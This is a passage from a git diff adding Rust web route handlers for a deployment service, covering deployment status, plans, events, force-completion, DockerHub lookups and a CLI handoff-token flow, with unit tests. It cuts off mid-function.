agent.capabilities = Some(serde_json::json!(["docker", "logs"])); + + let payload = build_capabilities_payload("hash".to_string(), Some(agent)); + assert!(!payload.features.kata_runtime); + } + + #[test] + fn capabilities_features_offline_all_false() { + let payload = build_capabilities_payload("hash".to_string(), None); + assert!(!payload.features.kata_runtime); + assert!(!payload.features.compose); + assert!(!payload.features.backup); + assert!(!payload.features.pipes); + assert!(!payload.features.proxy_credentials_vault); + } + + #[test] + fn pipe_capabilities_surface_pipe_commands() { + let mut agent = Agent::new("hash".to_string()); + agent.capabilities = Some(serde_json::json!(["pipes"])); + + let payload = build_capabilities_payload("hash".to_string(), Some(agent)); + let command_types: HashSet<&str> = payload + .commands + .iter() + .map(|c| c.command_type.as_str()) + .collect(); + + assert!(payload.features.pipes); + assert!(command_types.contains("activate_pipe")); + assert!(command_types.contains("deactivate_pipe")); + assert!(command_types.contains("trigger_pipe")); + } + + #[test] + fn capabilities_features_include_vault_proxy_credentials() { + let mut agent = Agent::new("hash".to_string()); + agent.capabilities = Some(serde_json::json!(["npm_credential_source=vault"])); + + let payload = build_capabilities_payload("hash".to_string(), Some(agent)); + assert!(payload.features.proxy_credentials_vault); + } +} diff --git a/stacker/stacker/src/routes/deployment/events.rs b/stacker/stacker/src/routes/deployment/events.rs new file mode 100644 index 0000000..ce93d28 --- /dev/null +++ b/stacker/stacker/src/routes/deployment/events.rs @@ -0,0 +1,55 @@ +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +use crate::{ + helpers::JsonResponse, + models, + services::{ApiTypedError, DeploymentEventFeed, TypedErrorEnvelope}, +}; + +#[tracing::instrument(name = "Get deployment events by hash", skip_all)] +#[get("/{deployment_hash}/events")] +pub async fn events_handler( + path: web::Path, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let deployment_hash = path.into_inner(); + let deployment = + crate::db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|_| { + ApiTypedError::internal(TypedErrorEnvelope::internal_error( + "Failed to load deployment events", + )) + })? + .ok_or_else(|| { + ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found( + "Deployment not found", + )) + })?; + + if deployment.user_id.as_deref() != Some(&user.id) { + return Err(ApiTypedError::not_found( + TypedErrorEnvelope::deployment_not_found("Deployment not found"), + )); + } + + let feed = DeploymentEventFeed::for_deployment_hash(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|_| { + ApiTypedError::internal(TypedErrorEnvelope::internal_error( + "Failed to build deployment events", + )) + })? + .ok_or_else(|| { + ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found( + "Deployment not found", + )) + })?; + + Ok(JsonResponse::build() + .set_item(feed) + .ok("Deployment events fetched")) +} diff --git a/stacker/stacker/src/routes/deployment/force_complete.rs b/stacker/stacker/src/routes/deployment/force_complete.rs new file mode 100644 index 0000000..1554e97 --- /dev/null +++ b/stacker/stacker/src/routes/deployment/force_complete.rs @@ -0,0 +1,99 @@ +use actix_web::{post, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +use crate::{db, helpers::JsonResponse, models}; + +use super::status::DeploymentStatusResponse; + +/// Statuses resolvable without `--force`. +const FORCE_COMPLETE_ALLOWED: &[&str] = &["paused", "error"]; + +#[derive(Debug, Deserialize, Default)] +pub struct ForceCompleteQuery { + #[serde(default)] + pub force: bool, +} + +/// `POST /api/v1/deployments/{id}/force-complete[?force=true]` +/// +/// Transition a stuck deployment to `completed`. +/// Without `?force=true`: only `paused` or `error` are accepted. +/// With `?force=true`: `in_progress` is also accepted. +/// Only the owning user may invoke this. +#[tracing::instrument(name = "Force-complete deployment", skip_all)] +#[post("/{id}/force-complete")] +pub async fn force_complete_handler( + path: web::Path, + query: web::Query, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let deployment_id = path.into_inner(); + + let deployment = db::deployment::fetch(pg_pool.get_ref(), deployment_id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })?; + + let mut deployment = match deployment { + Some(d) => { + if d.user_id.as_deref() != Some(&user.id) { + return Err(JsonResponse::::build() + .not_found("Deployment not found")); + } + d + } + None => { + return Err( + JsonResponse::::build().not_found("Deployment not found") + ); + } + }; + + let status_ok = query.force || FORCE_COMPLETE_ALLOWED.contains(&deployment.status.as_str()); + + if !status_ok { + return Err(JsonResponse::::build().bad_request(format!( + "Cannot force-complete deployment with status '{}'. Only paused or error deployments can be force-completed.", + deployment.status + ))); + } + + let previous_status = deployment.status.clone(); + deployment.status = "completed".to_string(); + + // Record the override in metadata for audit trail + if let Some(obj) = deployment.metadata.as_object_mut() { + obj.insert( + "force_completed_from".into(), + serde_json::Value::String(previous_status), + ); + if query.force { + obj.insert("force_override".into(), serde_json::Value::Bool(true)); + } + } + + let deployment = db::deployment::update(pg_pool.get_ref(), deployment) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })?; + + tracing::info!( + "Force-completed deployment {} (was '{}')", + deployment_id, + deployment + .metadata + .get("force_completed_from") + .and_then(|v| v.as_str()) + .unwrap_or("unknown") + ); + + let resp: DeploymentStatusResponse = deployment.into(); + Ok(JsonResponse::build() + .set_item(resp) + .ok("Deployment force-completed")) +} diff --git a/stacker/stacker/src/routes/deployment/mod.rs b/stacker/stacker/src/routes/deployment/mod.rs new file mode 100644 index 0000000..95a6b67 --- /dev/null +++ b/stacker/stacker/src/routes/deployment/mod.rs @@ -0,0 +1,13 @@ +pub mod capabilities; +pub mod events; +pub mod force_complete; +pub mod plan; +pub mod state; +pub mod status; + +pub use capabilities::*; +pub use events::*; +pub use force_complete::*; +pub use plan::*; +pub use state::*; +pub use status::*; diff --git a/stacker/stacker/src/routes/deployment/plan.rs b/stacker/stacker/src/routes/deployment/plan.rs new file mode 100644 index 0000000..7a11869 --- /dev/null +++ b/stacker/stacker/src/routes/deployment/plan.rs @@ -0,0 +1,111 @@ +use actix_web::{get, web, Responder, Result}; +use serde::Deserialize; +use sqlx::PgPool; +use std::sync::Arc; + +use crate::{ + models, + services::{ + build_deploy_plan, build_rollback_plan, resolve_rollback_plan_context, ApiTypedError, + DeployPlanOperation, DeploymentState, TypedErrorCode, TypedErrorEnvelope, + }, +}; + +#[derive(Debug, Deserialize)] +pub struct DeploymentPlanQuery { + #[serde(default)] + pub operation: Option, + #[serde(default, rename = "appCode")] + pub app_code: Option, + #[serde(default)] + pub target: Option, + #[serde(default, rename = "expectedFingerprint")] + pub expected_fingerprint: Option, + #[serde(default, rename = "rollbackTarget")] + pub rollback_target: Option, +} + +#[tracing::instrument(name = "Get deployment plan by hash", skip_all)] +#[get("/{deployment_hash}/plan")] +pub async fn plan_handler( + path: web::Path, + query: web::Query, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let deployment_hash = path.into_inner(); + let deployment = + crate::db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|_| { + ApiTypedError::internal(TypedErrorEnvelope::internal_error( + "Failed to load deployment for plan", + )) + })? + .ok_or_else(|| { + ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found( + "Deployment not found", + )) + })?; + + if deployment.user_id.as_deref() != Some(&user.id) { + return Err(ApiTypedError::not_found( + TypedErrorEnvelope::deployment_not_found("Deployment not found"), + )); + } + + let state = DeploymentState::for_deployment_hash(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|_| { + ApiTypedError::internal(TypedErrorEnvelope::internal_error( + "Failed to build deployment plan state", + )) + })? + .ok_or_else(|| { + ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found( + "Deployment not found", + )) + })?; + + let operation = query + .operation + .clone() + .unwrap_or(DeployPlanOperation::Deploy); + let target = query.target.as_deref().unwrap_or("cloud"); + let plan = match operation { + DeployPlanOperation::RollbackDeploy => { + let requested_target = query.rollback_target.as_deref().ok_or_else(|| { + ApiTypedError::bad_request(TypedErrorEnvelope::invalid_request( + "rollbackTarget is required for rollback plans", + )) + })?; + let rollback = + resolve_rollback_plan_context(pg_pool.get_ref(), &deployment, requested_target) + .await + .map_err(ApiTypedError::bad_request)?; + build_rollback_plan( + &state, + target, + rollback, + query.expected_fingerprint.as_deref(), + ) + } + _ => build_deploy_plan( + &state, + operation, + target, + query.app_code.as_deref(), + query.expected_fingerprint.as_deref(), + ), + } + .map_err(|error| match error.code { + TypedErrorCode::PlanStale => ApiTypedError::conflict(error), + TypedErrorCode::InvalidRequest => ApiTypedError::bad_request(error), + TypedErrorCode::RollbackTargetUnavailable => ApiTypedError::bad_request(error), + _ => ApiTypedError::internal(error), + })?; + + Ok(crate::helpers::JsonResponse::build() + .set_item(plan) + .ok("Deployment plan fetched")) +} diff --git a/stacker/stacker/src/routes/deployment/state.rs b/stacker/stacker/src/routes/deployment/state.rs new file mode 100644 index 0000000..608e416 --- /dev/null +++ b/stacker/stacker/src/routes/deployment/state.rs @@ -0,0 +1,55 @@ +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; + +use crate::{ + helpers::JsonResponse, + models, + services::{ApiTypedError, DeploymentState, TypedErrorEnvelope}, +}; + +#[tracing::instrument(name = "Get canonical deployment state by hash", skip_all)] +#[get("/{deployment_hash}/state")] +pub async fn state_handler( + path: web::Path, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let deployment_hash = path.into_inner(); + let deployment = + crate::db::deployment::fetch_by_deployment_hash(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|_| { + ApiTypedError::internal(TypedErrorEnvelope::internal_error( + "Failed to load deployment state", + )) + })? + .ok_or_else(|| { + ApiTypedError::not_found(TypedErrorEnvelope::deployment_not_found( + "Deployment not found", + )) + })?; + + if deployment.user_id.as_deref() != Some(&user.id) { + return Err(ApiTypedError::not_found( + TypedErrorEnvelope::deployment_not_found("Deployment not found"), + )); + } + + let state = DeploymentState::for_deployment_hash(pg_pool.get_ref(), &deployment_hash) + .await + .map_err(|_| { + ApiTypedError::internal(TypedErrorEnvelope::internal_error( + "Failed to build deployment state", + )) + })?; + + match state { + Some(state) => Ok(JsonResponse::build() + .set_item(state) + .ok("Deployment state fetched")), + None => Err(ApiTypedError::not_found( + TypedErrorEnvelope::deployment_not_found("Deployment not found"), + )), + } +} diff --git a/stacker/stacker/src/routes/deployment/status.rs b/stacker/stacker/src/routes/deployment/status.rs new file mode 100644 index 0000000..a7218e7 --- /dev/null +++ b/stacker/stacker/src/routes/deployment/status.rs @@ -0,0 +1,286 @@ +use actix_web::{get, web, Responder, Result}; +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; +use std::sync::Arc; + +use crate::routes::legacy_installations::{resolve_owned_deployment_by_hash, OwnedDeployment}; +use crate::{configuration::Settings, db, helpers::JsonResponse, models}; + +async fn can_view_project_deployments( + pool: &PgPool, + user_id: &str, + project_id: i32, +) -> Result { + let project = db::project::fetch(pool, project_id).await?; + match project { + Some(project) if project.user_id == user_id => Ok(true), + Some(_) => Ok(db::project_member::fetch(pool, project_id, user_id) + .await? + .is_some()), + None => Ok(false), + } +} + +/// Public-facing deployment status response (hides internal metadata). +#[derive(Debug, Clone, Serialize, Default)] +pub struct DeploymentStatusResponse { + pub id: i32, + pub project_id: i32, + pub deployment_hash: String, + pub status: String, + /// Human-readable status/error message from the deployment pipeline. + #[serde(skip_serializing_if = "Option::is_none")] + pub status_message: Option, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +#[derive(Debug, Deserialize)] +pub struct DeploymentListQuery { + pub project_id: Option, + pub limit: Option, +} + +impl From for DeploymentStatusResponse { + fn from(d: models::Deployment) -> Self { + let status_message = d + .metadata + .get("status_message") + .and_then(|v| v.as_str()) + .map(String::from); + + Self { + id: d.id, + project_id: d.project_id, + deployment_hash: d.deployment_hash, + status: d.status, + status_message, + created_at: d.created_at, + updated_at: d.updated_at, + } + } +} + +/// `GET /api/v1/deployments/hash/{hash}` +/// +/// Fetch a deployment by its deployment hash string. +#[tracing::instrument(name = "Get deployment status by hash", skip_all)] +#[get("/hash/{hash}")] +pub async fn status_by_hash_handler( + path: web::Path, + user: web::ReqData>, + pg_pool: web::Data, + settings: web::Data, +) -> Result { + let hash = path.into_inner(); + + match resolve_owned_deployment_by_hash( + pg_pool.get_ref(), + settings.get_ref(), + user.as_ref(), + &hash, + ) + .await? + { + OwnedDeployment::Native(deployment) => { + let resp: DeploymentStatusResponse = deployment.into(); + Ok(JsonResponse::build() + .set_item(resp) + .ok("Deployment status fetched")) + } + OwnedDeployment::Legacy(installation) => { + let resp = DeploymentStatusResponse { + id: installation + .id + .and_then(|value| i32::try_from(value).ok()) + .unwrap_or_default(), + project_id: 0, + deployment_hash: installation.deployment_hash.unwrap_or(hash), + status: installation.status.unwrap_or_else(|| "unknown".to_string()), + status_message: installation.domain, + created_at: parse_legacy_timestamp(installation.created_at.as_deref()), + updated_at: parse_legacy_timestamp(installation.updated_at.as_deref()), + }; + + Ok(JsonResponse::build() + .set_item(resp) + .ok("Deployment status fetched")) + } + } +} + +fn parse_legacy_timestamp(value: Option<&str>) -> DateTime { + value + .and_then(|raw| DateTime::parse_from_rfc3339(raw).ok()) + .map(|parsed| parsed.with_timezone(&Utc)) + .unwrap_or_else(Utc::now) +} + +/// `GET /api/v1/deployments/{id}` +/// +/// Fetch deployment status by deployment ID. +/// Requires authentication (inherited from the `/api` scope middleware). +#[tracing::instrument(name = "Get deployment status by ID", skip_all)] +#[get("/{id}")] +pub async fn status_handler( + path: web::Path, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let deployment_id = path.into_inner(); + + let deployment = db::deployment::fetch(pg_pool.get_ref(), deployment_id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })?; + + match deployment { + Some(d) => { + // Verify the deployment belongs to the requesting user + if d.user_id.as_deref() != Some(&user.id) { + return Err(JsonResponse::::build() + .not_found("Deployment not found")); + } + let resp: DeploymentStatusResponse = d.into(); + Ok(JsonResponse::build() + .set_item(resp) + .ok("Deployment status fetched")) + } + None => { + Err(JsonResponse::::build().not_found("Deployment not found")) + } + } +} + +/// `GET /api/v1/deployments` +/// +/// List deployments for the authenticated user. +#[tracing::instrument(name = "List deployments", skip_all)] +#[get("")] +pub async fn list_handler( + user: web::ReqData>, + query: web::Query, + pg_pool: web::Data, +) -> Result { + let limit = query.limit.unwrap_or(50).max(1).min(500); + let deployments = if let Some(project_id) = query.project_id { + if !can_view_project_deployments(pg_pool.get_ref(), &user.id, project_id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })? + { + return Err( + JsonResponse::::build().not_found("Project not found") + ); + } + + let project = db::project::fetch(pg_pool.get_ref(), project_id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })? + .ok_or_else(|| { + JsonResponse::::build().not_found("Project not found") + })?; + + if project.user_id == user.id { + db::deployment::fetch_by_user_and_project( + pg_pool.get_ref(), + &user.id, + project_id, + limit, + ) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })? + } else { + db::deployment::fetch_by_project(pg_pool.get_ref(), project_id, limit) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })? + } + } else { + db::deployment::fetch_by_user(pg_pool.get_ref(), &user.id, limit) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })? + }; + + let list: Vec = deployments + .into_iter() + .map(DeploymentStatusResponse::from) + .collect(); + + Ok(JsonResponse::build() + .set_list(list) + .ok("Deployments fetched")) +} + +/// `GET /api/v1/deployments/project/{project_id}` +/// +/// Fetch the latest deployment status for a project. +/// Returns the most recent (non-deleted) deployment. +#[tracing::instrument(name = "Get deployment status by project ID", skip_all)] +#[get("/project/{project_id}")] +pub async fn status_by_project_handler( + path: web::Path, + user: web::ReqData>, + pg_pool: web::Data, +) -> Result { + let project_id = path.into_inner(); + + let deployment = db::deployment::fetch_by_project_id(pg_pool.get_ref(), project_id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })?; + + match deployment { + Some(d) => { + if d.user_id.as_deref() != Some(&user.id) + && !db::project_member::fetch(pg_pool.get_ref(), project_id, &user.id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })? + .is_some() + { + return Err(JsonResponse::::build() + .not_found("No deployment found for this project")); + } + let resp: DeploymentStatusResponse = d.into(); + Ok(JsonResponse::build() + .set_item(resp) + .ok("Deployment status fetched")) + } + None => Err(JsonResponse::::build() + .not_found("No deployment found for this project")), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn deployment_to_status_response() { + let d = models::Deployment::new( + 42, + Some("user123".to_string()), + "deployment_abc".to_string(), + "in_progress".to_string(), + "runc".to_string(), + serde_json::json!({}), + ); + let resp: DeploymentStatusResponse = d.into(); + assert_eq!(resp.project_id, 42); + assert_eq!(resp.deployment_hash, "deployment_abc"); + assert_eq!(resp.status, "in_progress"); + } +} diff --git a/stacker/stacker/src/routes/dockerhub/mod.rs b/stacker/stacker/src/routes/dockerhub/mod.rs new file mode 100644 index 0000000..b30efc8 --- /dev/null +++ b/stacker/stacker/src/routes/dockerhub/mod.rs @@ -0,0 +1,156 @@ +use std::sync::Arc; + +use crate::connectors::{DockerHubConnector, NamespaceSummary, RepositorySummary, TagSummary}; +use crate::helpers::JsonResponse; +use actix_web::{get, post, web, Error, HttpResponse, Responder}; +use serde::Deserialize; +use serde_json::Value; + +#[derive(Deserialize, Debug)] +pub struct AutocompleteQuery { + #[serde(default)] + pub q: Option, +} + +#[derive(Deserialize, Debug)] +pub struct NamespacePath { + pub namespace: String, +} + +#[derive(Deserialize, Debug)] +pub struct RepositoryPath { + pub namespace: String, + pub repository: String, +} + +#[tracing::instrument(name = "dockerhub_search_namespaces", + fields(query = query.q.as_deref().unwrap_or_default()), skip_all)] +#[get("/namespaces")] +pub async fn search_namespaces( + connector: web::Data>, + query: web::Query, +) -> Result { + let term = query.q.as_deref().unwrap_or_default(); + connector + .search_namespaces(term) + .await + .map(|namespaces| { + JsonResponse::::build() + .set_list(namespaces) + .ok("OK") + }) + .map_err(Error::from) +} + +#[tracing::instrument(name = "dockerhub_list_repositories", + fields(namespace = %path.namespace, query = query.q.as_deref().unwrap_or_default()), skip_all)] +#[get("/{namespace}/repositories")] +pub async fn list_repositories( + connector: web::Data>, + path: web::Path, + query: web::Query, +) -> Result { + let params = path.into_inner(); + connector + .list_repositories(¶ms.namespace, query.q.as_deref()) + .await + .map(|repos| { + JsonResponse::::build() + .set_list(repos) + .ok("OK") + }) + .map_err(Error::from) +} + +#[tracing::instrument(name = "dockerhub_list_tags", + fields(namespace = %path.namespace, repository = %path.repository, query = query.q.as_deref().unwrap_or_default()), skip_all)] +#[get("/{namespace}/repositories/{repository}/tags")] +pub async fn list_tags( + connector: web::Data>, + path: web::Path, + query: web::Query, +) -> Result { + let params = path.into_inner(); + connector + .list_tags(¶ms.namespace, ¶ms.repository, query.q.as_deref()) + .await + .map(|tags| JsonResponse::::build().set_list(tags).ok("OK")) + .map_err(Error::from) +} + +/// Receive a DockerHub autocomplete analytics event from the stack builder UI. +/// The payload is `{event: string, payload: any}` — logged and discarded. +/// Returns 204 No Content so the browser's fire-and-forget fetch succeeds. +#[tracing::instrument(name = "dockerhub_log_event", skip_all)] +#[post("/events")] +pub async fn log_event(body: web::Json) -> HttpResponse { + tracing::debug!(event = ?body, "dockerhub autocomplete event received"); + HttpResponse::NoContent().finish() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::connectors::dockerhub_service::mock::MockDockerHubConnector; + use actix_web::{http::StatusCode, test, App}; + + #[actix_web::test] + async fn dockerhub_namespaces_endpoint_returns_data() { + let connector: Arc = Arc::new(MockDockerHubConnector::default()); + let app = test::init_service( + App::new() + .app_data(web::Data::new(connector)) + .service(search_namespaces), + ) + .await; + + let req = test::TestRequest::get() + .uri("/namespaces?q=stacker") + .to_request(); + let resp = test::call_service(&app, req).await; + assert_eq!(resp.status(), StatusCode::OK); + let body: serde_json::Value = test::read_body_json(resp).await; + assert_eq!(body["message"], "OK"); + assert!(body["list"].is_array()); + } + + #[actix_web::test] + async fn dockerhub_repositories_endpoint_returns_data() { + let connector: Arc = Arc::new(MockDockerHubConnector::default()); + let app = test::init_service( + App::new() + .app_data(web::Data::new(connector)) + .service(list_repositories), + ) + .await; + + let req = test::TestRequest::get() + .uri("/example/repositories?q=stacker") + .to_request(); + let resp = test::call_service(&app, req).await; + assert_eq!(resp.status(), StatusCode::OK); + let body: serde_json::Value = test::read_body_json(resp).await; + assert_eq!(body["message"], "OK"); + assert!(body["list"].as_array().unwrap().len() >= 1); + } + + #[actix_web::test] + async fn dockerhub_tags_endpoint_returns_data() { + let connector: Arc = Arc::new(MockDockerHubConnector::default()); + let app = test::init_service( + App::new() + .app_data(web::Data::new(connector)) + .service(list_tags), + ) + .await; + + let req = test::TestRequest::get() + .uri("/example/repositories/stacker-api/tags?q=latest") + .to_request(); + let resp = test::call_service(&app, req).await; + assert_eq!(resp.status(), StatusCode::OK); + let body: serde_json::Value = test::read_body_json(resp).await; + assert_eq!(body["message"], "OK"); + assert!(body["list"].as_array().unwrap().len() >= 1); + } +} diff --git a/stacker/stacker/src/routes/handoff/mod.rs b/stacker/stacker/src/routes/handoff/mod.rs new file mode 100644 index 0000000..2ec4f87 --- /dev/null +++ b/stacker/stacker/src/routes/handoff/mod.rs @@ -0,0 +1,510 @@ +use actix_web::{post, web, Responder, Result}; +use chrono::{DateTime, Duration, TimeZone, Utc}; +use sqlx::PgPool; +use std::sync::Arc; + +use crate::cli::deployment_lock::DeploymentLock; +use crate::cli::stacker_client::DEFAULT_STACKER_URL; +use crate::configuration::Settings; +use crate::db; +use crate::handoff::{ + DeploymentHandoffAgent, DeploymentHandoffCloud, DeploymentHandoffCredentials, + DeploymentHandoffDeployment, DeploymentHandoffKind, DeploymentHandoffLink, + DeploymentHandoffMintRequest, DeploymentHandoffMintResponse, DeploymentHandoffPayload, + DeploymentHandoffProject, DeploymentHandoffResolveRequest, DeploymentHandoffServer, +}; +use crate::helpers::JsonResponse; +use crate::models; +use crate::routes::legacy_installations::{ + infer_legacy_target, legacy_target_name, resolve_owned_deployment_for_handoff, OwnedDeployment, +}; +use crate::services::InMemoryHandoffStore; + +const HANDOFF_TTL_HOURS: i64 = 2; + +#[post("/mint")] +pub async fn mint_handler( + request: web::Json, + user: web::ReqData>, + pg_pool: web::Data, + handoff_store: web::Data>, + settings: web::Data, + http_request: actix_web::HttpRequest, +) -> Result { + let expires_at = Utc::now() + Duration::hours(HANDOFF_TTL_HOURS); + let payload = match resolve_owned_deployment_for_handoff( + pg_pool.get_ref(), + settings.get_ref(), + user.as_ref(), + request.deployment_id.map(i64::from), + request.deployment_hash.as_deref(), + ) + .await? + { + OwnedDeployment::Native(deployment) => { + let project = db::project::fetch(pg_pool.get_ref(), deployment.project_id) + .await + .map_err(JsonResponse::::internal_server_error)? + .ok_or_else(|| JsonResponse::::not_found("Project not found"))?; + + let server = db::server::fetch_by_project(pg_pool.get_ref(), project.id) + .await + .map_err(JsonResponse::::internal_server_error)? + .into_iter() + .next(); + + build_payload( + &http_request, + user.as_ref(), + &project, + &deployment, + server.as_ref(), + expires_at, + ) + } + OwnedDeployment::Legacy(installation) => { + build_legacy_payload(&http_request, user.as_ref(), &installation, expires_at) + } + }; + let token = handoff_store.insert(payload); + let base_url = resolve_public_base_url(&http_request); + let link = DeploymentHandoffLink { + token: token.clone(), + url: format!("{}/handoff#{}", base_url.trim_end_matches('/'), token), + expires_at, + }; + + Ok(JsonResponse::build() + .set_item(DeploymentHandoffMintResponse { + command: format!("stacker connect --handoff {}", token), + token: link.token, + url: link.url, + expires_at: link.expires_at, + }) + .ok("CLI handoff minted")) +} + +#[post("/mint/account")] +pub async fn mint_account_handler( + user: web::ReqData>, + handoff_store: web::Data>, + http_request: actix_web::HttpRequest, +) -> Result { + let expires_at = Utc::now() + Duration::hours(HANDOFF_TTL_HOURS); + let payload = build_account_payload(&http_request, user.as_ref(), expires_at); + let token = handoff_store.insert(payload); + let base_url = resolve_public_base_url(&http_request); + let link = DeploymentHandoffLink { + token: token.clone(), + url: format!("{}/handoff#{}", base_url.trim_end_matches('/'), token), + expires_at, + }; + + Ok(JsonResponse::build() + .set_item(DeploymentHandoffMintResponse { + command: format!("stacker connect --handoff {}", token), + token: link.token, + url: link.url, + expires_at: link.expires_at, + }) + .ok("CLI account handoff minted")) +} + +#[post("/resolve")] +pub async fn resolve_handler( + request: web::Json, + handoff_store: web::Data>, +) -> Result { + let payload = handoff_store + .resolve_once(&request.token) + .ok_or_else(|| JsonResponse::::not_found("Handoff token not found"))?; + + Ok(JsonResponse::build() + .set_item(payload) + .ok("CLI handoff resolved")) +} + +fn build_payload( + http_request: &actix_web::HttpRequest, + user: &models::User, + project: &models::Project, + deployment: &models::Deployment, + server: Option<&models::Server>, + expires_at: chrono::DateTime, +) -> DeploymentHandoffPayload { + let target = infer_target(server); + let ssh_user = server + .and_then(|srv| srv.ssh_user.clone()) + .filter(|value| !value.trim().is_empty()) + .or_else(|| match target.as_str() { + "cloud" | "server" => Some("root".to_string()), + _ => None, + }); + let ssh_port = server + .and_then(|srv| srv.ssh_port) + .map(|value| value as u16) + .or_else(|| match target.as_str() { + "cloud" | "server" => Some(22), + _ => None, + }); + + let lockfile = serde_json::to_value(DeploymentLock { + target: target.clone(), + server_ip: server.and_then(|srv| srv.srv_ip.clone()), + ssh_user: ssh_user.clone(), + ssh_port, + server_name: server.and_then(|srv| srv.name.clone().or_else(|| srv.server.clone())), + deployment_id: Some(deployment.id as i64), + project_id: Some(project.id as i64), + cloud_id: server.and_then(|srv| srv.cloud_id), + project_name: Some(project.name.clone()), + stacker_email: Some(user.email.clone()), + deployed_at: deployment.updated_at.to_rfc3339(), + }) + .unwrap_or_else(|_| serde_json::json!({})); + + let base_url = resolve_public_base_url(http_request); + DeploymentHandoffPayload { + kind: DeploymentHandoffKind::Deployment, + version: 1, + expires_at, + project: DeploymentHandoffProject { + id: project.id, + name: project.name.clone(), + identity: Some(project.name.clone()), + }, + deployment: DeploymentHandoffDeployment { + id: deployment.id, + hash: deployment.deployment_hash.clone(), + target, + status: deployment.status.clone(), + }, + server: server.map(|srv| DeploymentHandoffServer { + ip: srv.srv_ip.clone(), + ssh_user, + ssh_port, + name: srv.name.clone().or_else(|| srv.server.clone()), + }), + cloud: server.and_then(|srv| { + srv.cloud_id.map(|cloud_id| DeploymentHandoffCloud { + id: cloud_id, + provider: None, + region: srv.region.clone(), + }) + }), + lockfile, + stacker_yml: Some(render_stacker_yml(project, deployment, server)), + agent: server.and_then(|srv| { + let server_ip = srv.srv_ip.clone()?; + Some(DeploymentHandoffAgent { + base_url: format!("http://{}:8080", server_ip), + deployment_hash: deployment.deployment_hash.clone(), + }) + }), + credentials: build_handoff_credentials(user, expires_at, base_url), + } +} + +fn build_legacy_payload( + http_request: &actix_web::HttpRequest, + user: &models::User, + installation: &crate::connectors::user_service::install::InstallationDetails, + expires_at: chrono::DateTime, +) -> DeploymentHandoffPayload { + let target = infer_legacy_target(installation); + let installation_id = installation + .id + .and_then(|value| i32::try_from(value).ok()) + .unwrap_or_default(); + let deployment_hash = installation.deployment_hash.clone().unwrap_or_default(); + let project_name = legacy_target_name(installation); + let server_ip = installation + .server_ip + .clone() + .filter(|value| !value.trim().is_empty()); + + let lockfile = serde_json::to_value(DeploymentLock { + target: target.clone(), + server_ip: server_ip.clone(), + ssh_user: server_ip.as_ref().map(|_| "root".to_string()), + ssh_port: server_ip.as_ref().map(|_| 22), + server_name: installation + .domain + .clone() + .or_else(|| installation.stack_code.clone()), + deployment_id: None, + project_id: None, + cloud_id: None, + project_name: Some(project_name.clone()), + stacker_email: Some(user.email.clone()), + deployed_at: installation + .updated_at + .clone() + .unwrap_or_else(|| Utc::now().to_rfc3339()), + }) + .unwrap_or_else(|_| serde_json::json!({})); + + let base_url = resolve_public_base_url(http_request); + DeploymentHandoffPayload { + kind: DeploymentHandoffKind::Deployment, + version: 1, + expires_at, + project: DeploymentHandoffProject { + id: installation_id, + name: project_name.clone(), + identity: Some(project_name.clone()), + }, + deployment: DeploymentHandoffDeployment { + id: installation_id, + hash: deployment_hash.clone(), + target: target.clone(), + status: installation + .status + .clone() + .unwrap_or_else(|| "unknown".to_string()), + }, + server: server_ip.clone().map(|ip| DeploymentHandoffServer { + ip: Some(ip), + ssh_user: Some("root".to_string()), + ssh_port: Some(22), + name: installation + .domain + .clone() + .or_else(|| installation.stack_code.clone()), + }), + cloud: installation + .cloud + .as_ref() + .map(|provider| DeploymentHandoffCloud { + id: 0, + provider: Some(provider.clone()), + region: None, + }), + lockfile, + stacker_yml: Some(render_legacy_stacker_yml( + &project_name, + &deployment_hash, + &target, + installation, + )), + agent: server_ip.map(|ip| DeploymentHandoffAgent { + base_url: format!("http://{}:8080", ip), + deployment_hash, + }), + credentials: build_handoff_credentials(user, expires_at, base_url), + } +} + +fn build_account_payload( + http_request: &actix_web::HttpRequest, + user: &models::User, + expires_at: DateTime, +) -> DeploymentHandoffPayload { + let base_url = resolve_public_base_url(http_request); + + DeploymentHandoffPayload { + kind: DeploymentHandoffKind::Account, + version: 1, + expires_at, + project: DeploymentHandoffProject { + id: 0, + name: user.email.clone(), + identity: Some(user.email.clone()), + }, + deployment: DeploymentHandoffDeployment { + id: 0, + hash: String::new(), + target: "account".to_string(), + status: "ready".to_string(), + }, + server: None, + cloud: None, + lockfile: serde_json::json!({}), + stacker_yml: None, + agent: None, + credentials: build_handoff_credentials(user, expires_at, base_url), + } +} + +fn build_handoff_credentials( + user: &models::User, + handoff_expires_at: DateTime, + server_url: String, +) -> Option { + 